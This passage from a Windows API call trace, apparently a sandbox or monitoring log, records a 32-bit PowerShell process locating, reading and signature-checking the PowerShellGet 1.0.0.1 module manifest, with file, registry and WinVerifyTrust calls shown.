(x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0158.213] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0158.213] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0158.214] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0158.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ecd4) returned 1 [0158.214] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0158.214] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x3f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x3e [0158.215] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\*" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\*"), lpFindFileData=0x5a2ea84 | out: lpFindFileData=0x5a2ea84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b49a8 [0158.216] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0158.216] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0158.216] FindNextFileW (in: hFindFile=0x3b49a8, lpFindFileData=0x5a2ea8c | out: lpFindFileData=0x5a2ea8c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0158.217] FindClose (in: hFindFile=0x3b49a8 | out: hFindFile=0x3b49a8) returned 1 [0158.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea44) returned 1 [0158.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eca4) returned 1 [0158.218] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0158.218] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0158.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea28) returned 1 [0158.218] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2ecec | out: lpFileInformation=0x5a2ecec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0158.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea24) returned 1 [0158.219] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0158.219] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0158.219] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0158.219] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0158.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ea4c) returned 1 [0158.219] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x234c208 | out: lpFileInformation=0x234c208*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0158.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ea48) returned 1 [0158.220] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0158.220] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0158.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebb4) returned 1 [0158.221] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f4 [0158.221] GetFileType (hFile=0x3f4) returned 0x1 [0158.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2ebb0) returned 1 [0158.271] GetFileType (hFile=0x3f4) returned 0x1 [0158.271] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ebf0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ebf0*=0) returned 0x0 [0158.271] ReadFile (in: hFile=0x3f4, lpBuffer=0x234cfd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2ec1c, lpOverlapped=0x0 | out: lpBuffer=0x234cfd4*, lpNumberOfBytesRead=0x5a2ec1c*=0x1000, lpOverlapped=0x0) returned 1 [0158.286] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ebf0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ebf0*=0) returned 0x1000 [0158.286] ReadFile (in: hFile=0x3f4, lpBuffer=0x234cfd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2ec1c, lpOverlapped=0x0 | out: lpBuffer=0x234cfd4*, lpNumberOfBytesRead=0x5a2ec1c*=0xde, lpOverlapped=0x0) returned 1 [0158.287] SetFilePointer (in: hFile=0x3f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2ebf0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2ebf0*=0) returned 0x10de [0158.287] ReadFile (in: hFile=0x3f4, lpBuffer=0x234cfd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2ec1c, lpOverlapped=0x0 | out: lpBuffer=0x234cfd4*, lpNumberOfBytesRead=0x5a2ec1c*=0x0, lpOverlapped=0x0) returned 1 [0158.287] CloseHandle (hObject=0x3f4) returned 1 [0158.295] CoCreateGuid (in: pguid=0x5a2ec5c | out: pguid=0x5a2ec5c*(Data1=0xd3364f5e, Data2=0xf33d, Data3=0x4753, Data4=([0]=0x94, [1]=0xde, [2]=0xd1, [3]=0xda, [4]=0x72, [5]=0x5f, [6]=0x3f, [7]=0x78))) returned 0x0 [0158.306] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x3f4 [0158.306] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x414 [0158.306] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x418 [0158.307] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x41c [0158.307] SetEvent (hEvent=0x41c) returned 1 [0158.307] SetEvent (hEvent=0x3f4) returned 1 [0158.307] SetEvent (hEvent=0x414) returned 1 [0158.307] SetEvent (hEvent=0x418) returned 1 [0158.311] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x420 [0158.311] SetThreadUILanguage (LangId=0x0) returned 0x409 [0158.480] EtwEventActivityIdControl () returned 0x0 [0158.480] EtwEventActivityIdControl () returned 0x0 [0158.480] EtwEventActivityIdControl () returned 0x0 [0158.617] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0158.617] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0158.617] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0158.618] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2e594, Length=0x20, ResultLength=0x5a2e604 | out: SystemInformation=0x5a2e594, ResultLength=0x5a2e604*=0x0) returned 0xc0000003 [0158.618] GetSystemInfo (in: lpSystemInfo=0x5a2e610 | out: lpSystemInfo=0x5a2e610*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0158.618] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e5a0 | out: phkResult=0x5a2e5a0*=0x424) returned 0x0 [0158.619] RegQueryValueExW (in: hKey=0x424, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2e5bc, lpData=0x0, lpcbData=0x5a2e5b8*=0x0 | out: lpType=0x5a2e5bc*=0x0, lpData=0x0, lpcbData=0x5a2e5b8*=0x0) returned 0x2 [0158.619] RegCloseKey (hKey=0x424) returned 0x0 [0158.625] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0158.625] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0158.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e518) returned 1 [0158.626] CreateFileW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x424 [0158.626] GetFileType (hFile=0x424) returned 0x1 [0158.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e514) returned 1 [0158.626] GetFileType (hFile=0x424) returned 0x1 [0158.626] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e554*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e554*=0) returned 0x0 [0158.626] ReadFile (in: hFile=0x424, lpBuffer=0x236e534, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e580, lpOverlapped=0x0 | out: lpBuffer=0x236e534*, lpNumberOfBytesRead=0x5a2e580*=0x1000, lpOverlapped=0x0) returned 1 [0158.627] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e554*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e554*=0) returned 0x1000 [0158.627] ReadFile (in: hFile=0x424, lpBuffer=0x236e534, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e580, lpOverlapped=0x0 | out: lpBuffer=0x236e534*, lpNumberOfBytesRead=0x5a2e580*=0xde, lpOverlapped=0x0) returned 1 [0158.627] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x5a2e554*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5a2e554*=0) returned 0x10de [0158.627] ReadFile (in: hFile=0x424, lpBuffer=0x236e534, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5a2e580, lpOverlapped=0x0 | out: lpBuffer=0x236e534*, lpNumberOfBytesRead=0x5a2e580*=0x0, lpOverlapped=0x0) returned 1 [0158.628] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x5a2e4e8, Length=0x20, ResultLength=0x5a2e558 | out: SystemInformation=0x5a2e4e8, ResultLength=0x5a2e558*=0x0) returned 0xc0000003 [0158.629] GetSystemInfo (in: lpSystemInfo=0x5a2e564 | out: lpSystemInfo=0x5a2e564*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0158.629] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2e4f4 | out: phkResult=0x5a2e4f4*=0x428) returned 0x0 [0158.629] RegQueryValueExW (in: hKey=0x428, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x5a2e510, lpData=0x0, lpcbData=0x5a2e50c*=0x0 | out: lpType=0x5a2e510*=0x0, lpData=0x0, lpcbData=0x5a2e50c*=0x0) returned 0x2 [0158.629] RegCloseKey (hKey=0x428) returned 0x0 [0158.629] CloseHandle (hObject=0x424) returned 1 [0158.631] CoCreateGuid (in: pguid=0x5a2e5e4 | out: pguid=0x5a2e5e4*(Data1=0x47b1a4a, Data2=0x259d, Data3=0x4432, Data4=([0]=0x96, [1]=0x5f, [2]=0x5a, [3]=0x59, [4]=0xa3, [5]=0x5c, [6]=0xa4, [7]=0x77))) returned 0x0 [0158.634] QueryPerformanceCounter (in: lpPerformanceCount=0x5a2e344 | out: lpPerformanceCount=0x5a2e344*=3248315784522) returned 1 [0158.637] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0158.637] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0158.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e030) returned 1 [0158.638] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e2f4 | out: lpFileInformation=0x5a2e2f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0158.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e02c) returned 1 [0158.638] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0158.638] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0158.638] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0158.638] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0158.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfc4) returned 1 [0158.639] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2e288 | out: lpFileInformation=0x5a2e288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea538e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea538e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10de)) returned 1 [0158.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2dfc0) returned 1 [0158.639] CoTaskMemAlloc (cb=0x10) returned 0x3e8248 [0158.639] CoTaskMemAlloc (cb=0x10) returned 0x3e8290 [0158.639] CoTaskMemAlloc (cb=0xb4) returned 0x388e38 [0158.639] CoTaskMemAlloc (cb=0x30) returned 0x3e8870 [0158.639] WinVerifyTrust () returned 0x800b0100 [0158.768] CoTaskMemFree (pv=0x3e8248) [0158.768] CoTaskMemFree (pv=0x3e8870) [0158.768] CryptCATHandleFromStore () returned 0x36cc80 [0158.768] WTHelperGetProvSignerFromChain () returned 0x0 [0158.768] CoTaskMemAlloc (cb=0x10) returned 0x3e8248 [0158.768] CoTaskMemAlloc (cb=0x30) returned 0x3e8870 [0158.768] WinVerifyTrust () returned 0x0 [0158.769] CoTaskMemFree (pv=0x3e8870) [0158.769] CoTaskMemFree (pv=0x3e8248) [0158.769] CoTaskMemFree (pv=0x388e38) [0158.769] CoTaskMemFree (pv=0x3e8290) [0159.369] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en-us\\powershellget.psd1")) returned 0xffffffff [0159.372] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\en\\powershellget.psd1")) returned 0xffffffff [0159.384] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0159.389] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0159.393] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0159.393] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", nBufferLength=0x5a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1", lpFilePart=0x0) returned 0x59 [0159.393] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0159.394] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", nBufferLength=0x47, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1", lpFilePart=0x0) returned 0x46 [0159.429] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5a2dc80 | out: phkResult=0x5a2dc80*=0x3d0) returned 0x0 [0159.429] RegQueryValueExW (in: hKey=0x3d0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2dca0, lpData=0x0, lpcbData=0x5a2dc9c*=0x0 | out: lpType=0x5a2dca0*=0x1, lpData=0x0, lpcbData=0x5a2dc9c*=0x56) returned 0x0 [0159.429] RegQueryValueExW (in: hKey=0x3d0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5a2dca0, lpData=0x21442e4, lpcbData=0x5a2dc9c*=0x56 | out: lpType=0x5a2dca0*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x5a2dc9c*=0x56) returned 0x0 [0159.429] RegCloseKey (hKey=0x3d0) returned 0x0 [0159.432] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0159.436] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0159.437] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSGet.Format.ps1xml" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psget.format.ps1xml")) returned 0x20 [0159.438] RegOpenKeyExW (in: hKey=0x80000002, 